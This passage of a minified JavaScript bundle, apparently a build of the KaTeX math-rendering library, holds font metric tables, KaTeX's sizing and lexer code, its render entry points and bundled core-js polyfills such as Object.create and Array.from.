[0,.69444,0,0,.55],729:[0,.69444,0,0,.30556],730:[0,.69444,0,0,.73334],732:[0,.69444,0,0,.55],733:[0,.69444,0,0,.55],915:[0,.69444,0,0,.58056],916:[0,.69444,0,0,.91667],920:[0,.69444,0,0,.85556],923:[0,.69444,0,0,.67223],926:[0,.69444,0,0,.73334],928:[0,.69444,0,0,.79445],931:[0,.69444,0,0,.79445],933:[0,.69444,0,0,.85556],934:[0,.69444,0,0,.79445],936:[0,.69444,0,0,.85556],937:[0,.69444,0,0,.79445],8211:[0,.45833,.03056,0,.55],8212:[0,.45833,.03056,0,1.10001],8216:[0,.69444,0,0,.30556],8217:[0,.69444,0,0,.30556],8220:[0,.69444,0,0,.55834],8221:[0,.69444,0,0,.55834]},"SansSerif-Italic":{33:[0,.69444,.05733,0,.31945],34:[0,.69444,.00316,0,.5],35:[.19444,.69444,.05087,0,.83334],36:[.05556,.75,.11156,0,.5],37:[.05556,.75,.03126,0,.83334],38:[0,.69444,.03058,0,.75834],39:[0,.69444,.07816,0,.27778],40:[.25,.75,.13164,0,.38889],41:[.25,.75,.02536,0,.38889],42:[0,.75,.11775,0,.5],43:[.08333,.58333,.02536,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,.01946,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,.13164,0,.5],48:[0,.65556,.11156,0,.5],49:[0,.65556,.11156,0,.5],50:[0,.65556,.11156,0,.5],51:[0,.65556,.11156,0,.5],52:[0,.65556,.11156,0,.5],53:[0,.65556,.11156,0,.5],54:[0,.65556,.11156,0,.5],55:[0,.65556,.11156,0,.5],56:[0,.65556,.11156,0,.5],57:[0,.65556,.11156,0,.5],58:[0,.44444,.02502,0,.27778],59:[.125,.44444,.02502,0,.27778],61:[-.13,.37,.05087,0,.77778],63:[0,.69444,.11809,0,.47222],64:[0,.69444,.07555,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,.08293,0,.66667],67:[0,.69444,.11983,0,.63889],68:[0,.69444,.07555,0,.72223],69:[0,.69444,.11983,0,.59722],70:[0,.69444,.13372,0,.56945],71:[0,.69444,.11983,0,.66667],72:[0,.69444,.08094,0,.70834],73:[0,.69444,.13372,0,.27778],74:[0,.69444,.08094,0,.47222],75:[0,.69444,.11983,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,.08094,0,.875],78:[0,.69444,.08094,0,.70834],79:[0,.69444,.07555,0,.73611],80:[0,.69444,.08293,0,.63889],81:[.125,.69444,.07555,0,.73611],82:[0,.69444,.08293,0,.64584],83:[0,.69444,.09205,0,.55556],84:[0,.69444,.13372,0,.68056],85:[0,.69444,.08094,0,.6875],86:[0,.69444,.1615,0,.66667],87:[0,.69444,.1615,0,.94445],88:[0,.69444,.13372,0,.66667],89:[0,.69444,.17261,0,.66667],90:[0,.69444,.11983,0,.61111],91:[.25,.75,.15942,0,.28889],93:[.25,.75,.08719,0,.28889],94:[0,.69444,.0799,0,.5],95:[.35,.09444,.08616,0,.5],97:[0,.44444,.00981,0,.48056],98:[0,.69444,.03057,0,.51667],99:[0,.44444,.08336,0,.44445],100:[0,.69444,.09483,0,.51667],101:[0,.44444,.06778,0,.44445],102:[0,.69444,.21705,0,.30556],103:[.19444,.44444,.10836,0,.5],104:[0,.69444,.01778,0,.51667],105:[0,.67937,.09718,0,.23889],106:[.19444,.67937,.09162,0,.26667],107:[0,.69444,.08336,0,.48889],108:[0,.69444,.09483,0,.23889],109:[0,.44444,.01778,0,.79445],110:[0,.44444,.01778,0,.51667],111:[0,.44444,.06613,0,.5],112:[.19444,.44444,.0389,0,.51667],113:[.19444,.44444,.04169,0,.51667],114:[0,.44444,.10836,0,.34167],115:[0,.44444,.0778,0,.38333],116:[0,.57143,.07225,0,.36111],117:[0,.44444,.04169,0,.51667],118:[0,.44444,.10836,0,.46111],119:[0,.44444,.10836,0,.68334],120:[0,.44444,.09169,0,.46111],121:[.19444,.44444,.10836,0,.46111],122:[0,.44444,.08752,0,.43472],126:[.35,.32659,.08826,0,.5],168:[0,.67937,.06385,0,.5],176:[0,.69444,0,0,.73752],305:[0,.44444,.04169,0,.23889],567:[.19444,.44444,.04169,0,.26667],710:[0,.69444,.0799,0,.5],711:[0,.63194,.08432,0,.5],713:[0,.60889,.08776,0,.5],714:[0,.69444,.09205,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,.09483,0,.5],729:[0,.67937,.07774,0,.27778],730:[0,.69444,0,0,.73752],732:[0,.67659,.08826,0,.5],733:[0,.69444,.09205,0,.5],915:[0,.69444,.13372,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,.07555,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,.12816,0,.66667],928:[0,.69444,.08094,0,.70834],931:[0,.69444,.11983,0,.72222],933:[0,.69444,.09031,0,.77778],934:[0,.69444,.04603,0,.72222],936:[0,.69444,.09031,0,.77778],937:[0,.69444,.08293,0,.72222],8211:[0,.44444,.08616,0,.5],8212:[0,.44444,.08616,0,1],8216:[0,.69444,.07816,0,.27778],8217:[0,.69444,.07816,0,.27778],8220:[0,.69444,.14205,0,.5],8221:[0,.69444,.00316,0,.5]},"SansSerif-Regular":{33:[0,.69444,0,0,.31945],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.75834],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,0,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.65556,0,0,.5],49:[0,.65556,0,0,.5],50:[0,.65556,0,0,.5],51:[0,.65556,0,0,.5],52:[0,.65556,0,0,.5],53:[0,.65556,0,0,.5],54:[0,.65556,0,0,.5],55:[0,.65556,0,0,.5],56:[0,.65556,0,0,.5],57:[0,.65556,0,0,.5],58:[0,.44444,0,0,.27778],59:[.125,.44444,0,0,.27778],61:[-.13,.37,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,0,0,.66667],67:[0,.69444,0,0,.63889],68:[0,.69444,0,0,.72223],69:[0,.69444,0,0,.59722],70:[0,.69444,0,0,.56945],71:[0,.69444,0,0,.66667],72:[0,.69444,0,0,.70834],73:[0,.69444,0,0,.27778],74:[0,.69444,0,0,.47222],75:[0,.69444,0,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,0,0,.875],78:[0,.69444,0,0,.70834],79:[0,.69444,0,0,.73611],80:[0,.69444,0,0,.63889],81:[.125,.69444,0,0,.73611],82:[0,.69444,0,0,.64584],83:[0,.69444,0,0,.55556],84:[0,.69444,0,0,.68056],85:[0,.69444,0,0,.6875],86:[0,.69444,.01389,0,.66667],87:[0,.69444,.01389,0,.94445],88:[0,.69444,0,0,.66667],89:[0,.69444,.025,0,.66667],90:[0,.69444,0,0,.61111],91:[.25,.75,0,0,.28889],93:[.25,.75,0,0,.28889],94:[0,.69444,0,0,.5],95:[.35,.09444,.02778,0,.5],97:[0,.44444,0,0,.48056],98:[0,.69444,0,0,.51667],99:[0,.44444,0,0,.44445],100:[0,.69444,0,0,.51667],101:[0,.44444,0,0,.44445],102:[0,.69444,.06944,0,.30556],103:[.19444,.44444,.01389,0,.5],104:[0,.69444,0,0,.51667],105:[0,.67937,0,0,.23889],106:[.19444,.67937,0,0,.26667],107:[0,.69444,0,0,.48889],108:[0,.69444,0,0,.23889],109:[0,.44444,0,0,.79445],110:[0,.44444,0,0,.51667],111:[0,.44444,0,0,.5],112:[.19444,.44444,0,0,.51667],113:[.19444,.44444,0,0,.51667],114:[0,.44444,.01389,0,.34167],115:[0,.44444,0,0,.38333],116:[0,.57143,0,0,.36111],117:[0,.44444,0,0,.51667],118:[0,.44444,.01389,0,.46111],119:[0,.44444,.01389,0,.68334],120:[0,.44444,0,0,.46111],121:[.19444,.44444,.01389,0,.46111],122:[0,.44444,0,0,.43472],126:[.35,.32659,0,0,.5],176:[0,.69444,0,0,.66667],305:[0,.44444,0,0,.23889],567:[.19444,.44444,0,0,.26667],710:[0,.69444,0,0,.5],711:[0,.63194,0,0,.5],713:[0,.60889,0,0,.5],714:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.67937,0,0,.27778],730:[0,.69444,0,0,.66667],733:[0,.69444,0,0,.5],771:[0,.67659,0,0,.5],776:[0,.67937,0,0,.5],915:[0,.69444,0,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,0,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,0,0,.66667],928:[0,.69444,0,0,.70834],931:[0,.69444,0,0,.72222],933:[0,.69444,0,0,.77778],934:[0,.69444,0,0,.72222],936:[0,.69444,0,0,.77778],937:[0,.69444,0,0,.72222],8211:[0,.44444,.02778,0,.5],8212:[0,.44444,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5]},"Script-Regular":{65:[0,.7,.22925,0,.80253],66:[0,.7,.04087,0,.90757],67:[0,.7,.1689,0,.66619],68:[0,.7,.09371,0,.77443],69:[0,.7,.18583,0,.56162],70:[0,.7,.13634,0,.89544],71:[0,.7,.17322,0,.60961],72:[0,.7,.29694,0,.96919],73:[0,.7,.19189,0,.80907],74:[.27778,.7,.19189,0,1.05159],75:[0,.7,.31259,0,.91364],76:[0,.7,.19189,0,.87373],77:[0,.7,.15981,0,1.08031],78:[0,.7,.3525,0,.9015],79:[0,.7,.08078,0,.73787],80:[0,.7,.08078,0,1.01262],81:[0,.7,.03305,0,.88282],82:[0,.7,.06259,0,.85],83:[0,.7,.19189,0,.86767],84:[0,.7,.29087,0,.74697],85:[0,.7,.25815,0,.79996],86:[0,.7,.27523,0,.62204],87:[0,.7,.27523,0,.80532],88:[0,.7,.26006,0,.94445],89:[0,.7,.2939,0,.70961],90:[0,.7,.24037,0,.8212]},"Size1-Regular":{40:[.35001,.85,0,0,.45834],41:[.35001,.85,0,0,.45834],47:[.35001,.85,0,0,.57778],91:[.35001,.85,0,0,.41667],92:[.35001,.85,0,0,.57778],93:[.35001,.85,0,0,.41667],123:[.35001,.85,0,0,.58334],125:[.35001,.85,0,0,.58334],710:[0,.72222,0,0,.55556],732:[0,.72222,0,0,.55556],770:[0,.72222,0,0,.55556],771:[0,.72222,0,0,.55556],8214:[-99e-5,.601,0,0,.77778],8593:[1e-5,.6,0,0,.66667],8595:[1e-5,.6,0,0,.66667],8657:[1e-5,.6,0,0,.77778],8659:[1e-5,.6,0,0,.77778],8719:[.25001,.75,0,0,.94445],8720:[.25001,.75,0,0,.94445],8721:[.25001,.75,0,0,1.05556],8730:[.35001,.85,0,0,1],8739:[-.00599,.606,0,0,.33333],8741:[-.00599,.606,0,0,.55556],8747:[.30612,.805,.19445,0,.47222],8748:[.306,.805,.19445,0,.47222],8749:[.306,.805,.19445,0,.47222],8750:[.30612,.805,.19445,0,.47222],8896:[.25001,.75,0,0,.83334],8897:[.25001,.75,0,0,.83334],8898:[.25001,.75,0,0,.83334],8899:[.25001,.75,0,0,.83334],8968:[.35001,.85,0,0,.47222],8969:[.35001,.85,0,0,.47222],8970:[.35001,.85,0,0,.47222],8971:[.35001,.85,0,0,.47222],9168:[-99e-5,.601,0,0,.66667],10216:[.35001,.85,0,0,.47222],10217:[.35001,.85,0,0,.47222],10752:[.25001,.75,0,0,1.11111],10753:[.25001,.75,0,0,1.11111],10754:[.25001,.75,0,0,1.11111],10756:[.25001,.75,0,0,.83334],10758:[.25001,.75,0,0,.83334]},"Size2-Regular":{40:[.65002,1.15,0,0,.59722],41:[.65002,1.15,0,0,.59722],47:[.65002,1.15,0,0,.81111],91:[.65002,1.15,0,0,.47222],92:[.65002,1.15,0,0,.81111],93:[.65002,1.15,0,0,.47222],123:[.65002,1.15,0,0,.66667],125:[.65002,1.15,0,0,.66667],710:[0,.75,0,0,1],732:[0,.75,0,0,1],770:[0,.75,0,0,1],771:[0,.75,0,0,1],8719:[.55001,1.05,0,0,1.27778],8720:[.55001,1.05,0,0,1.27778],8721:[.55001,1.05,0,0,1.44445],8730:[.65002,1.15,0,0,1],8747:[.86225,1.36,.44445,0,.55556],8748:[.862,1.36,.44445,0,.55556],8749:[.862,1.36,.44445,0,.55556],8750:[.86225,1.36,.44445,0,.55556],8896:[.55001,1.05,0,0,1.11111],8897:[.55001,1.05,0,0,1.11111],8898:[.55001,1.05,0,0,1.11111],8899:[.55001,1.05,0,0,1.11111],8968:[.65002,1.15,0,0,.52778],8969:[.65002,1.15,0,0,.52778],8970:[.65002,1.15,0,0,.52778],8971:[.65002,1.15,0,0,.52778],10216:[.65002,1.15,0,0,.61111],10217:[.65002,1.15,0,0,.61111],10752:[.55001,1.05,0,0,1.51112],10753:[.55001,1.05,0,0,1.51112],10754:[.55001,1.05,0,0,1.51112],10756:[.55001,1.05,0,0,1.11111],10758:[.55001,1.05,0,0,1.11111]},"Size3-Regular":{40:[.95003,1.45,0,0,.73611],41:[.95003,1.45,0,0,.73611],47:[.95003,1.45,0,0,1.04445],91:[.95003,1.45,0,0,.52778],92:[.95003,1.45,0,0,1.04445],93:[.95003,1.45,0,0,.52778],123:[.95003,1.45,0,0,.75],125:[.95003,1.45,0,0,.75],710:[0,.75,0,0,1.44445],732:[0,.75,0,0,1.44445],770:[0,.75,0,0,1.44445],771:[0,.75,0,0,1.44445],8730:[.95003,1.45,0,0,1],8968:[.95003,1.45,0,0,.58334],8969:[.95003,1.45,0,0,.58334],8970:[.95003,1.45,0,0,.58334],8971:[.95003,1.45,0,0,.58334],10216:[.95003,1.45,0,0,.75],10217:[.95003,1.45,0,0,.75]},"Size4-Regular":{40:[1.25003,1.75,0,0,.79167],41:[1.25003,1.75,0,0,.79167],47:[1.25003,1.75,0,0,1.27778],91:[1.25003,1.75,0,0,.58334],92:[1.25003,1.75,0,0,1.27778],93:[1.25003,1.75,0,0,.58334],123:[1.25003,1.75,0,0,.80556],125:[1.25003,1.75,0,0,.80556],710:[0,.825,0,0,1.8889],732:[0,.825,0,0,1.8889],770:[0,.825,0,0,1.8889],771:[0,.825,0,0,1.8889],8730:[1.25003,1.75,0,0,1],8968:[1.25003,1.75,0,0,.63889],8969:[1.25003,1.75,0,0,.63889],8970:[1.25003,1.75,0,0,.63889],8971:[1.25003,1.75,0,0,.63889],9115:[.64502,1.155,0,0,.875],9116:[1e-5,.6,0,0,.875],9117:[.64502,1.155,0,0,.875],9118:[.64502,1.155,0,0,.875],9119:[1e-5,.6,0,0,.875],9120:[.64502,1.155,0,0,.875],9121:[.64502,1.155,0,0,.66667],9122:[-99e-5,.601,0,0,.66667],9123:[.64502,1.155,0,0,.66667],9124:[.64502,1.155,0,0,.66667],9125:[-99e-5,.601,0,0,.66667],9126:[.64502,1.155,0,0,.66667],9127:[1e-5,.9,0,0,.88889],9128:[.65002,1.15,0,0,.88889],9129:[.90001,0,0,0,.88889],9130:[0,.3,0,0,.88889],9131:[1e-5,.9,0,0,.88889],9132:[.65002,1.15,0,0,.88889],9133:[.90001,0,0,0,.88889],9143:[.88502,.915,0,0,1.05556],10216:[1.25003,1.75,0,0,.80556],10217:[1.25003,1.75,0,0,.80556],57344:[-.00499,.605,0,0,1.05556],57345:[-.00499,.605,0,0,1.05556],57680:[0,.12,0,0,.45],57681:[0,.12,0,0,.45],57682:[0,.12,0,0,.45],57683:[0,.12,0,0,.45]},"Typewriter-Regular":{33:[0,.61111,0,0,.525],34:[0,.61111,0,0,.525],35:[0,.61111,0,0,.525],36:[.08333,.69444,0,0,.525],37:[.08333,.69444,0,0,.525],38:[0,.61111,0,0,.525],39:[0,.61111,0,0,.525],40:[.08333,.69444,0,0,.525],41:[.08333,.69444,0,0,.525],42:[0,.52083,0,0,.525],43:[-.08056,.53055,0,0,.525],44:[.13889,.125,0,0,.525],45:[-.08056,.53055,0,0,.525],46:[0,.125,0,0,.525],47:[.08333,.69444,0,0,.525],48:[0,.61111,0,0,.525],49:[0,.61111,0,0,.525],50:[0,.61111,0,0,.525],51:[0,.61111,0,0,.525],52:[0,.61111,0,0,.525],53:[0,.61111,0,0,.525],54:[0,.61111,0,0,.525],55:[0,.61111,0,0,.525],56:[0,.61111,0,0,.525],57:[0,.61111,0,0,.525],58:[0,.43056,0,0,.525],59:[.13889,.43056,0,0,.525],60:[-.05556,.55556,0,0,.525],61:[-.19549,.41562,0,0,.525],62:[-.05556,.55556,0,0,.525],63:[0,.61111,0,0,.525],64:[0,.61111,0,0,.525],65:[0,.61111,0,0,.525],66:[0,.61111,0,0,.525],67:[0,.61111,0,0,.525],68:[0,.61111,0,0,.525],69:[0,.61111,0,0,.525],70:[0,.61111,0,0,.525],71:[0,.61111,0,0,.525],72:[0,.61111,0,0,.525],73:[0,.61111,0,0,.525],74:[0,.61111,0,0,.525],75:[0,.61111,0,0,.525],76:[0,.61111,0,0,.525],77:[0,.61111,0,0,.525],78:[0,.61111,0,0,.525],79:[0,.61111,0,0,.525],80:[0,.61111,0,0,.525],81:[.13889,.61111,0,0,.525],82:[0,.61111,0,0,.525],83:[0,.61111,0,0,.525],84:[0,.61111,0,0,.525],85:[0,.61111,0,0,.525],86:[0,.61111,0,0,.525],87:[0,.61111,0,0,.525],88:[0,.61111,0,0,.525],89:[0,.61111,0,0,.525],90:[0,.61111,0,0,.525],91:[.08333,.69444,0,0,.525],92:[.08333,.69444,0,0,.525],93:[.08333,.69444,0,0,.525],94:[0,.61111,0,0,.525],95:[.09514,0,0,0,.525],96:[0,.61111,0,0,.525],97:[0,.43056,0,0,.525],98:[0,.61111,0,0,.525],99:[0,.43056,0,0,.525],100:[0,.61111,0,0,.525],101:[0,.43056,0,0,.525],102:[0,.61111,0,0,.525],103:[.22222,.43056,0,0,.525],104:[0,.61111,0,0,.525],105:[0,.61111,0,0,.525],106:[.22222,.61111,0,0,.525],107:[0,.61111,0,0,.525],108:[0,.61111,0,0,.525],109:[0,.43056,0,0,.525],110:[0,.43056,0,0,.525],111:[0,.43056,0,0,.525],112:[.22222,.43056,0,0,.525],113:[.22222,.43056,0,0,.525],114:[0,.43056,0,0,.525],115:[0,.43056,0,0,.525],116:[0,.55358,0,0,.525],117:[0,.43056,0,0,.525],118:[0,.43056,0,0,.525],119:[0,.43056,0,0,.525],120:[0,.43056,0,0,.525],121:[.22222,.43056,0,0,.525],122:[0,.43056,0,0,.525],123:[.08333,.69444,0,0,.525],124:[.08333,.69444,0,0,.525],125:[.08333,.69444,0,0,.525],126:[0,.61111,0,0,.525],127:[0,.61111,0,0,.525],176:[0,.61111,0,0,.525],305:[0,.43056,0,0,.525],567:[.22222,.43056,0,0,.525],711:[0,.56597,0,0,.525],713:[0,.56555,0,0,.525],714:[0,.61111,0,0,.525],715:[0,.61111,0,0,.525],728:[0,.61111,0,0,.525],730:[0,.61111,0,0,.525],770:[0,.61111,0,0,.525],771:[0,.61111,0,0,.525],776:[0,.61111,0,0,.525],915:[0,.61111,0,0,.525],916:[0,.61111,0,0,.525],920:[0,.61111,0,0,.525],923:[0,.61111,0,0,.525],926:[0,.61111,0,0,.525],928:[0,.61111,0,0,.525],931:[0,.61111,0,0,.525],933:[0,.61111,0,0,.525],934:[0,.61111,0,0,.525],936:[0,.61111,0,0,.525],937:[0,.61111,0,0,.525],8216:[0,.61111,0,0,.525],8217:[0,.61111,0,0,.525],8242:[0,.61111,0,0,.525],9251:[.11111,.21944,0,0,.525]}}},function(e,t,n){"use strict";t.a=u;var r=n(0),i=n(3),a=n(1),o=n(5),s=n(4),l=n(2);function u(e,t,n){for(var i=s.a(e,t,!1),a=t.sizeMultiplier/n.sizeMultiplier,l=0;l<i.length;l++){var u=o.a.indexOf(i[l].classes,"sizing");u<0?Array.prototype.push.apply(i[l].classes,t.sizingClasses(n)):i[l].classes[u+1]==="reset-size"+t.size&&(i[l].classes[u+1]="reset-size"+n.size),i[l].height*=a,i[l].depth*=a}return r.a.makeFragment(i)}var c=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"];Object(i.b)({type:"sizing",names:c,props:{numArgs:0,allowedInText:!0},handler:function(e,t){var n=e.breakOnTokenText,r=e.funcName,i=e.parser;i.consumeSpaces();var a=i.parseExpression(!1,n);return{type:"sizing",size:o.a.indexOf(c,r)+1,value:a}},htmlBuilder:function(e,t){var n=t.havingSize(e.value.size);return u(e.value.value,n,t)},mathmlBuilder:function(e,t){var n=t.havingSize(e.value.size),r=l.a(e.value.value,n),i=new a.a.MathNode("mstyle",r);return i.setAttribute("mathsize",n.sizeMultiplier+"em"),i}})},function(e,t,n){"use strict";n.d(t,"a",(function(){return a})),t.b=function(e){for(var t=e.type,n=e.names,o=e.props,s=e.handler,l=e.htmlBuilder,u=e.mathmlBuilder,c={numArgs:o.numArgs||0,greediness:1,allowedInText:!1,numOptionalArgs:0,handler:s},f=0;f<n.length;++f)a[n[f]]=c;l&&(r.d[t]=l),u&&(i.d[t]=u)};var r=n(4),i=n(2),a=(n(43),n(14),{})},function(e,t,n){"use strict";n.d(t,"a",(function(){return h})),n.d(t,"b",(function(){return p}));var r=n(7),i=n.n(r),a=n(10),o=n.n(a),s=n(145),l=n.n(s),u=n(6),c=n(31),f=n(27),h=new RegExp("[\u0300-\u036f]+$"),d=new RegExp("([ \r\n\t]+)|(%[^\n]*[\n]|[!-\\[\\]-\u2027\u202a-\ud7ff\uf900-\uffff][\u0300-\u036f]*|[\ud800-\udbff][\udc00-\udfff][\u0300-\u036f]*|\\\\verb\\*([^]).*?\\3|\\\\verb([^*a-zA-Z]).*?\\4|\\\\[a-zA-Z@]+|\\\\[^\ud800-\udfff])"),p=new RegExp("^\\\\[a-zA-Z@]+"),m=new RegExp("^%[^\n]*[\n]"),v=function(){function e(t){i()(this,e),this.input=t,this.pos=0}return o()(e,[{key:"lex",value:function(){var e=this.input,t=this.pos;if(t===e.length)return new f.a("EOF",new c.a(this,t,t));var n=l()(d,e,t);if(null===n)throw new u.a("Unexpected character: '"+e[t]+"'",new f.a(e[t],new c.a(this,t,t+1)));var r=n[2]||" ",i=this.pos;this.pos+=n[0].length;var a=this.pos;return m.test(r)?this.lex():new f.a(r,new c.a(this,i,a))}}]),e}();t.c=v},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(64),i=(n.n(r),n(65));t.default=i.a},function(e,t){},function(e,t,n){"use strict";var r=n(6),i=n(34),a=n(76),o=n(113),s=n(5),l=function(e,t,n){s.a.clearNode(t);var r=u(e,n).toNode();t.appendChild(r)};"undefined"!==typeof document&&"CSS1Compat"!==document.compatMode&&("undefined"!==typeof console&&console.warn("Warning: KaTeX doesn't work in quirks mode. Make sure your website has a suitable doctype."),l=function(){throw new r.a("KaTeX doesn't work in quirks mode.")});var u=function(e,t){var n=new i.a(t),r=Object(o.a)(e,n);return Object(a.b)(r,e,n)};t.a={render:l,renderToString:function(e,t){return u(e,t).toMarkup()},ParseError:r.a,__parse:function(e,t){var n=new i.a(t);return Object(o.a)(e,n)},__renderToDomTree:u,__renderToHTMLTree:function(e,t){var n=new i.a(t),r=Object(o.a)(e,n);return Object(a.a)(r,e,n)}}},function(e,t,n){e.exports={default:n(67),__esModule:!0}},function(e,t,n){n(68),e.exports=n(8).Object.freeze},function(e,t,n){var r=n(20),i=n(69).onFreeze;n(46)("freeze",(function(e){return function(t){return e&&r(t)?e(i(t)):t}}))},function(e,t,n){var r=n(32)("meta"),i=n(20),a=n(21),o=n(15).f,s=0,l=Object.isExtensible||function(){return!0},u=!n(24)((function(){return l(Object.preventExtensions({}))})),c=function(e){o(e,r,{value:{i:"O"+ ++s,w:{}}})},f=e.exports={KEY:r,NEED:!1,fastKey:function(e,t){if(!i(e))return"symbol"==typeof e?e:("string"==typeof e?"S":"P")+e;if(!a(e,r)){if(!l(e))return"F";if(!t)return"E";c(e)}return e[r].i},getWeak:function(e,t){if(!a(e,r)){if(!l(e))return!0;if(!t)return!1;c(e)}return e[r].w},onFreeze:function(e){return u&&f.NEED&&l(e)&&!a(e,r)&&c(e),e}}},function(e,t,n){e.exports=!n(23)&&!n(24)((function(){return 7!=Object.defineProperty(n(45)("div"),"a",{get:function(){return 7}}).a}))},function(e,t,n){var r=n(20);e.exports=function(e,t){if(!r(e))return e;var n,i;if(t&&"function"==typeof(n=e.toString)&&!r(i=n.call(e)))return i;if("function"==typeof(n=e.valueOf)&&!r(i=n.call(e)))return i;if(!t&&"function"==typeof(n=e.toString)&&!r(i=n.call(e)))return i;throw TypeError("Can't convert object to primitive value")}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t,n){e.exports={default:n(74),__esModule:!0}},function(e,t,n){n(75);var r=n(8).Object;e.exports=function(e,t,n){return r.defineProperty(e,t,n)}},function(e,t,n){var r=n(25);r(r.S+r.F*!n(23),"Object",{defineProperty:n(15).f})},function(e,t,n){"use strict";n.d(t,"b",(function(){return u})),n.d(t,"a",(function(){return c}));var r=n(4),i=n(2),a=n(0),o=n(43),s=(n(34),n(9)),l=function(e){return new o.a({style:e.displayMode?s.a.DISPLAY:s.a.TEXT,maxSize:e.maxSize})},u=function(e,t,n){var o=l(n),s=Object(i.c)(e,t,o),u=Object(r.c)(e,o),c=a.a.makeSpan(["katex"],[s,u]);return n.displayMode?a.a.makeSpan(["katex-display"],[c]):c},c=function(e,t,n){var i=l(n),o=Object(r.c)(e,i),s=a.a.makeSpan(["katex"],[o]);return n.displayMode?a.a.makeSpan(["katex-display"],[s]):s}},function(e,t,n){e.exports={default:n(78),__esModule:!0}},function(e,t,n){var r=n(8),i=r.JSON||(r.JSON={stringify:JSON.stringify});e.exports=function(e){return i.stringify.apply(i,arguments)}},function(e,t,n){e.exports={default:n(80),__esModule:!0}},function(e,t,n){n(36),n(92),e.exports=n(8).Array.from},function(e,t,n){var r=n(37),i=n(38);e.exports=function(e){return function(t,n){var a,o,s=String(i(t)),l=r(n),u=s.length;return l<0||l>=u?e?"":void 0:(a=s.charCodeAt(l))<55296||a>56319||l+1===u||(o=s.charCodeAt(l+1))<56320||o>57343?e?s.charAt(l):a:e?s.slice(l,l+2):o-56320+(a-55296<<10)+65536}}},function(e,t){e.exports=!0},function(e,t,n){e.exports=n(26)},function(e,t,n){"use strict";var r=n(85),i=n(33),a=n(54),o={};n(26)(o,n(11)("iterator"),(function(){return this})),e.exports=function(e,t,n){e.prototype=r(o,{next:i(1,n)}),a(e,t+" Iterator")}},function(e,t,n){var r=n(22),i=n(86),a=n(53),o=n(41)("IE_PROTO"),s=function(){},l=function(){var e,t=n(45)("iframe"),r=a.length;for(t.style.display="none",n(90).appendChild(t),t.src="javascript:",(e=t.contentWindow.document).open(),e.write("<script>document.F=Object<\/script>"),e.close(),l=e.F;r--;)delete l.prototype[a[r]];return l()};e.exports=Object.create||function(e,t){var n;return null!==e?(s.prototype=r(e),n=new s,s.prototype=null,n[o]=e):n=l(),void 0===t?n:i(n,t)}},function(e,t,n){var r=n(15),i=n(22),a=n(39);e.exports=n(23)?Object.defineProperties:function(e,t){i(e);for(var n,o=a(t),s=o.length,l=0;s>l;)r.f(e,n=o[l++],t[n]);return e}},function(e,t,n){var r=n(21),i=n(40),a=n(88)(!1),o=n(41)("IE_PROTO");e.exports=function(e,t){var n,s=i(e),l=0,u=[];for(n in s)n!=o&&r(s,n)&&u.push(n);for(;t.length>l;)r(s,n=t[l++])&&(~a(u,n)||u.push(n));return u}},function(e,t,n){var r=n(40),i=n(51),a=n(89);e.exports=function(e){return function(t,n,o){var s,l=r(t),u=i(l.length),c=a(o,u);if(e&&n!=n){for(;u>c;)if((s=l[c++])!=s)return!0}else for(;u>c;c++)if((e||c in l)&&l[c]===n)return e||c||0;return!e&&-1}}},function(e,t,n){var r=n(37),i=Math.max,a=Math.min;e.exports=function(e,t){return(e=r(e))<0?i(e+t,0):a(e,t)}},function(e,t,n){e.exports=n(16).document&&document.documentElement},function(e,t,n){var r=n(21),i=n(29),a=n(41)("IE_PROTO"),o=Object.prototype;e.exports=Object.getPrototypeOf||function(e){return e=i(e),r(e,a)?e[a]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?o:null}},function(e,t,n){"use strict";var r=n(47),i=n(25),a=n(29),o=n(93),s=n(94),l=n(51),u=n(95),c=n(55);i(i.S+i.F*!n(96)((function(e){Array.from(e)})),"Array",{from:function(e){var t,n,i,f,h=a(e),d="function"==typeof this?this:Array,p=arguments.length,m=p>1?arguments[1]:void 0,v=void 0!==m,g=0,y=c(h);if(v&&(m=r(m,p>2?arguments[2]:void 0,2)),void 0==y||d==Array&&s(y))for(n=new d(t=l(h.length));t>g;g++)u(n,g,v?m(h[g],g):h[g]);else for(f=y.call(h),n=new d;!(i=f.next()).done;g++)u(n,g,v?o(f,m,[i.value,g],!0):i.value);return n.length=g,n}})},function(e,t,n){var r=n(22);e.exports=function(e,t,n,i){try{return i?t(r(n)[0],n[1]):t(n)}catch(o){var a=e.return;throw void 0!==a&&r(a.call(e)),o}}},function(e,t,n){var r=n(17),i=n(11)("iterator"),a=Array.prototype;e.exports=function(e){return void 0!==e&&(r.Array===e||a[i]===e)}},function(e,t,n){"use strict";var r=n(15),i=n(33);e.exports=function(e,t,n){t in e?r.f(e,t,i(0,n)):e[t]=n}},function(e,t,n){var r=n(11)("iterator"),i=!1;try{var a=[7][r]();a.return=function(){i=!0},Array.from(a,(function(){throw 